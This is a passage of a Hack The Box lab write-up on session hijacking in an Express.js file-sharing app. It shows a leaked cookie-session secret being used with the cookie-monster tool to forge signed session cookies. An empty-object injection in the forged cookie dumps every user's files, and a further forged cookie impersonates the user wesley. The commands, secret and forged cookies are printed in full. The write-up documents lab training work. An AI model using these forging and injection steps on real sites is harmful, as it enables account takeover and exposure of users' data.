Session Hijacking
the target web application is a file management system built using the express.js framework. it allows users to register, log in, upload, view, download, and delete files. here’s a brief summary of the software stack and key functionalities:
software stack:
- backend framework: Express.js
- view engine: Nunjucks
- database interaction: Prisma ORM (Object-Relational Mapping)
- middleware: cookie-parser, cookie-session for session management, and custom
flash
middleware for displaying flash messages.
key functionalities:
- authentication and registration:
- Users can register with a username and password.
- Registered users can log in securely.
- Logout functionality is provided.
- file management:
- Authenticated users can upload files, with optional privacy settings.
- Uploaded files are stored on the server.
- Users can view details and download their own files.
- Users can delete their own files.
- middleware:
- Custom
auth
middleware ensures that only authenticated users can access certain routes. flash
middleware manages flash messages to provide user feedback.
- Custom
- routing:
- different routers handle various aspects of the application:
auth.js
for authentication and registration.files.js
for file upload, management, and deletion.home.js
for displaying the user’s home page with their uploaded files.
- different routers handle various aspects of the application:
- database interaction:
- Prisma is used to interact with the database, storing user information and file metadata.
- static assets:
- Static files (CSS, images) are served using Express.js from the “static” directory.
- views:
- nunjucks templates are used for rendering HTML views, including login, registration, file upload, file view, and error pages.
The application’s main components include user authentication, file management, routing, and interaction with a database through Prisma. It provides users with the ability to securely manage their files, ensuring privacy and convenience.
The important bit here lays in the disclosure of the session key secret
As discovered earlier, there are 2 session cookies given to an authenticated user;
- The
download_session
cookie is a JSON data containing user information encoded in the base64 format and - The
download_session.sig
cookie is something else
It turns out that the
download_session.sig
cookie is the signature file generated from the download_session
cookie hashed using SHA1 HMAC.
The download_session.sig
cookie is used to check for tampering with the download_session
cookie
After researching online for awhile, I found a tool that allows re-signing the Express session cookie.
It’s an Express app as well.
Since I don’t want to populate my system, I will get run the tool from a Docker container
┌──(kali㉿kali)-[~/archive/htb/labs/download]
└─$ docker run -it --entrypoint "/bin/bash" --name download debian
unable to find image 'debian:latest' locally
latest: Pulling from library/debian
785ef8b9b236: Pull complete
digest: sha256:9f76a008888da28c6490bedf7bdaa919bac9b2be827afd58d6eb1b916e1e5918
status: Downloaded newer image for debian:latest
root@d1a6473e009f:/# apt update -y ; apt install nano net-tools git npm curl -y
Setting up a Docker container I will then install the yarn through npm and install the tool via yarn
root@d1a6473e009f:~# npm install yarn
up to date, audited 2 packages in 731ms
found 0 vulnerabilities
root@d1a6473e009f:~# /root/node_modules/yarn/bin/yarn global add @digital-interruption/cookie-monster
yarn global v1.22.19
warning package.json: No license field
[1/4] Resolving packages...
warning @digital-interruption/cookie-monster > request@2.88.2: request has been deprecated, see https://github.com/request/request/issues/3142
warning @digital-interruption/cookie-monster > request > har-validator@5.1.5: this library is no longer supported
warning @digital-interruption/cookie-monster > request > uuid@3.4.0: Please upgrade to version 7 or higher. Older versions may use Math.random() in certain circumstances, which is known to be problematic. See https://v8.dev/blog/math-random for details.
[2/4] Fetching packages...
[3/4] Linking dependencies...
[4/4] Building fresh packages...
success installed "@digital-interruption/cookie-monster@1.0.2" with binaries:
- cookie-monster
Done in 6.89s.
root@d1a6473e009f:~# cookie-monster --help
.---. .---.
: : o : me want cookie!
_..-: o : :-.._ /
.-'' ' `---' `---' " ``-.
.' " ' " . " . ' " `.
: '.---.,,.,...,.,.,.,..---. ' ;
`. " `. .' " .'
`. '`. .' ' .'
`. `-._ _.-' " .' .----.
`. " '"--...--"' . ' .' .' o `.
.'`-._' " . " _.-'`. : o :
.' ```--.....--''' ' `:_ o :
.' " ' " " ; `.;";";";'
; ' " ' . ; .' ; ; ;
; ' ' ' " .' .-'
' " " ' " " _.-'
cookie-monster
Automates the testing of Express.js cookies for weak secrets.
Options
-b, --batch Enable batch mode.
-c, --cookie string The session cookie to use when not using
batch mode.
-e, --encode Enable encode mode.
-h, --help Print this usage guide.
-f, --input-file file The JSON file with the cookie data to
analyse in batch mode / the JSON data to
be encoded in encode mode.
-n, --name string The cookie name to use when not using
batch mode. (default: session)
-o, --output file The file to output the results to.
-p, --port number The port to bind the local test server
to. (default: 3000)
-k, --secret string The secret key to use when using encode
mode.
-s, --signature string The value of the session signature
cookie to use when not using batch mode.
-v, --verbose Output verbose messages on internal
operations.
-w, --wordlist file The wordlist to use as a source of
possible cookie secrets.
The tool also supports brute-forcing the secret, but it would be unnecessary for my case since I already have the secret string from the source code
Now, before forging and signing anything, I need to first assess the current situation.
The JSON data seems to contain 2 user-identifiable attributes; id
and username
Earlier, I was given id
of 18
with username
of tester
.
Currently, there is no other user that I know enough of to impersonate since it seems to require both fields.
root@f7b6245291a5:~/cookie-monster# cat new_cookie.json
{"flashes":{"info":[],"error":[],"success":["You are now logged in."]},"user":{"id":{},"username":{}}}
when the session cookie is manipulated to set "id":{},"username":{}
, it led to the application treating those input {}
as a wildcard or placeholder, causing it to list files for all users instead of just the authenticated user. This behavior is very similar to some SQL injections that setting the SQLi to 'or 1=1#
would result of the pre-defined SQL query to set to true
, revealing everyone’s or signed-in as everyone.
*i also set "success":["You are now logged in."]
for accessing the /home/
endpoint to list the uploaded files
This is to mimick the expected behavior or session cookie from a valid user who just logged in and got re-directed to /home/
root@f7b6245291a5:~/cookie-monster# cookie-monster -e -f ./new_cookie.json -k '8929874489719802418902487651347865819634518936754' -n download_session
_ _
_/0\/ \_
.-. .-` \_/\0/ '-.
/:::\ / ,_________, \
/\:::/ \ '. (:::/ `'-;
\ `-'`\ '._ `"'"'\__ \
`'-. \ `)-=-=( `, |
\ `-"` `"-` /
[+] data cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91IGFyZSBub3cgbG9nZ2VkIGluLiJdfSwidXNlciI6eyJpZCI6e30sInVzZXJuYW1lIjp7fX19
[+] signature cookie: download_session.sig=fjvqJn4BUGFKcqA95XypE2hhl7I
I will go ahead and craft the forged session cookies with the tool
As expected, the target web application with the lack of input sanitization returned the entire userfile tables
wesley
While there are dozens of uploaded files, only one of them seem to be relevant to the current assessment.
There is the
wesley
user, who also appeared as author in the package.json
file of the web application
I will attempt to hijack the wesley
user’s session, effectively impersonating that would result listing uploaded files by the user.
I’d first need to set the
username
attribute to wesley
root@d1a6473e009f:~# cookie-monster -e -f wesley.json -k '8929874489719802418902487651347865819634518936754' -n download_session
_ _
_/0\/ \_
.-. .-` \_/\0/ '-.
/:::\ / ,_________, \
/\:::/ \ '. (:::/ `'-;
\ `-'`\ '._ `"'"'\__ \
`'-. \ `)-=-=( `, |
\ `-"` `"-` /
[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91IGFyZSBub3cgbG9nZ2VkIGluLiJdfSwidXNlciI6eyJpZCI6e30sInVzZXJuYW1lIjoiV0VTTEVZIn19
[+] Signature Cookie: download_session.sig=mqOz1wtkzGgsuWSLb2UA-CVgCJU
Then craft the forged cookie pair; download_session
and download_session.sig
Those cookies will be used to send a GET request to the /home/
endpoint that the web server would interpretate as if the wesley
user is behind
There are 2 files uploaded by the
wesley
user. Those 2 uploaded files appear to be irrelevant.
root@d1a6473e009f:~# cookie-monster -e -f wesley.json -k '8929874489719802418902487651347865819634518936754' -n download_session
_ _
_/0\/ \_
.-. .-` \_/\0/ '-.
/:::\ / ,_________, \
/\:::/ \ '. (:::/ `'-;
\ `-'`\ '._ `"'"'\__ \
`'-. \ `)-=-=( `, |
\ `-"` `"-` /
[+] Data Cookie: download_session=eyJmbGFzaGVzIjp7ImluZm8iOltdLCJlcnJvciI6W10sInN1Y2Nlc3MiOlsiWW91IGFyZSBub3cgbG9nZ2VkIGluLiJdfSwidXNlciI6eyJpZCI6MSwidXNlcm5hbWUiOiJXRVNMRVkifX0=
[+] Signature Cookie: download_session.sig=-ZYb_ErGzfXW8aLqrxnHgFl83-E
I was also able to find the
id
attribute of the wesley
user.
Seeing the wesley
user having the id
attribute set to 1
provides an additional layer of possibility that the wesley
user is NOT only a valid system user but an admin user to the web application
Nonetheless, there is not much else to do with the impersonating alone. I would need to find another way to proceed forward.